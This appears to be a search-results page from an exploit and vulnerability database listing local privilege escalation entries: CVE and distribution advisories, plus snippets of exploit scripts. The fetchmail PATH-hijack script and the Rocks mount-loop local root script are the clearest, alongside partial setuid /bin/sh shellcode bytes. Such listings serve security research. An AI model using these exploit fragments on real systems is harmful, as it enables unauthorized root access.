870 matches found
ProFTPd 1.3.01.3.0a - mod_ctrls support Local Buffer Overflow (1)
ProFTPd 1.3.01.3.0a - modctrls support Local Buffer Overflow 1 !/usr/bin/perl -w $Id: revengeproftpdctrls24.pl, v1.0 2007/02/18 19:24:22 revenge Exp $ ProFTPD v1.3.0/1.3.0a Controls Buffer Overflow Exploit Old style school sploit against gcc 3.x and linux kernel 2.4 Original Advisory :...
Izik : Reverse Engineering with LD_PRELOAD
July, 06 2005г.| Izik Reverse Engineering with LDPRELOAD This paper is about the LDPRELOAD feature, and how it can be useful for reverse engineering dynamically linked executables. This technique allows you to hijack functions/inject code and manipulate the application flow. Compiling Methods...
DEBIAN-CVE-2006-6008
ftpd in Linux Netkit linux-ftpd 0.17, and possibly other versions, does not check the return status of certain seteuid, setgid, and setuid calls, which might allow remote authenticated users to gain privileges if these calls fail in cases such as PAM failures or resource limits, a different...
CVE-2006-6008: Undefined Security Weakness
ftpd in Linux Netkit linux-ftpd 0.17, and possibly other versions, does not check the return status of certain seteuid, setgid, and setuid calls, which might allow remote authenticated users to gain privileges if these calls fail in cases such as PAM failures or resource limits, a different...
Xcode OpenBase 10.0.0 (OSX) - Unsafe System Call Privilege Escalation
Xcode OpenBase 10.0.0 OSX - Unsafe System Call Privilege Escalation !/usr/bin/perl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom \n\nTargets:\n\n"; foreach $key sortkeys %tgts $a,$b = split/:/,$tgts"$key"; print "\t$key . $a - $b\n"; print "\n"; exit 1; $ret =...
Debian DSA-895-1 : uim - programming error
Masanari Yamamoto discovered incorrect use of environment variables in uim, a flexible input method collection and library, that could lead to escalated privileges in setuid/setgid applications linked to libuim. Affected in Debian is at least mlterm. %NASLMINLEVEL 70300 C Tenable Network Security...
openmovieeditor 0.0.20060901 - name Local Buffer Overflow
openmovieeditor 0.0.20060901 - name Local Buffer Overflow / openmovieeditor buffer overflow exploit by qnix envt/envt -s 2 Shellcode: linux/x86 setuid0,setgid0 execve/bin/sh, /bin/sh, NULL 37 bytes + Setting memory for the shellcode. + Copying shellcode to memory. + Putting shellcode in the...
openmovieeditor 0.0.20060901 - 'name' Local Buffer Overflow
/ openmovieeditor buffer overflow exploit by qnix envt/envt -s 2 Shellcode: linux/x86 setuid0,setgid0 execve/bin/sh, /bin/sh, NULL 37 bytes + Setting memory for the shellcode. + Copying shellcode to memory. + Putting shellcode in the environment. + Going into the environment ENVT and exiting...
Apple Mac OSX 10.4.7 - fetchmail Privilege Escalation
!/bin/sh http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom Previously undisclosed local fetchmail issue. This takes setgid=6 http://docs.info.apple.com/article.html?artnum=106704 export PATH=/tmp:$PATH echo /bin/sh -i /tmp/uname chmod +x /tmp/uname /usr/bin/fetchmail -V...
rocksmountdirty.txt
!/bin/sh rocksmountdirty.sh: Rocks release =4.1 local root exploit make sure 'mount-loop' is in your path for this to work. coded by: [email protected] http://xavsec.blogspot.com echo "Rocks Clusters =4.1 mount-loop local root exploit by [email protected] http://xavsec.blogspot.com" echo...
Super Junior Linux Backdoor method of making-a vulnerability warning-the black bar safety net
A file has an owner, indicating that the file who is create. At the same time, the file there is a group number, indicating that the file belongs to the group, typically the owner of the file belongs to the group. If it is an executable file, then in the implementation, generally the file only ha...
linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes
Exploit for linux/x86 platform in category shellcode ======================================================================= linux/x86 setuid0,setgid0 execve/bin/sh, /bin/sh, NULL 37 bytes ======================================================================= / Linux/x86 setuid0 + setgid0 +...
linux/x86 setuid(0) setgid(0) execve(/bin/sh [/bin/sh NULL]) 37 bytes
No description provided by source. / Linux/x86 setuid0 + setgid0 + execve"/bin/sh", "/bin/sh", NULL - 37 bytes - [email protected] / char shellcode = "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx, %ebx "\xcd\x80" // int $0x80 "\x6a\x2e" // push $0x2e "\x58" // pop %eax "\x53" ...
CVE-2005-4741: Undefined Security Weakness
NetBSD 1.6, NetBSD 2.0 through 2.1, and NetBSD-current before 20051031 allows local users to gain privileges by attaching a debugger to a setuid/setgid PSUGID process that performs an exec without a reset of real credentials...
[SECURITY] [DSA 976-1] New libast packages fix arbitrary code execution
-------------------------------------------------------------------------- Debian Security Advisory DSA 976-1 [email protected] http://www.debian.org/security/ Martin Schulze February 15th, 2006 http://www.debian.org/security/faq -...
GLSA-200601-14 : LibAST: Privilege escalation
The remote host is affected by the vulnerability described in GLSA-200601-14 LibAST: Privilege escalation Michael Jennings discovered an exploitable buffer overflow in the configuration engine of LibAST. Impact : The vulnerability can be exploited to gain escalated privileges if the application...
LibAST: Privilege escalation
Background LibAST is a utility library that was originally intended to accompany Eterm, but may be used by various other applications. Description Michael Jennings discovered an exploitable buffer overflow in the configuration engine of LibAST. Impact The vulnerability can be exploited to gain...
Ubuntu 4.10 : emacs21 vulnerability (USN-76-1)
Max Vozeler discovered a format string vulnerability in the 'movemail' utility of Emacs. By sending specially crafted packets, a malicious POP3 server could cause a buffer overflow, which could have been exploited to execute arbitrary code with the privileges of the user and the 'mail' group sinc...
Mandrake Linux Security Advisory : uim (MDKSA-2005:198)
Masanari Yamamoto discovered that Uim uses environment variables incorrectly. This bug causes a privilege escalation if setuid/setgid applications are linked to libuim. The updated packages have been patched to address this issue. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descripti...
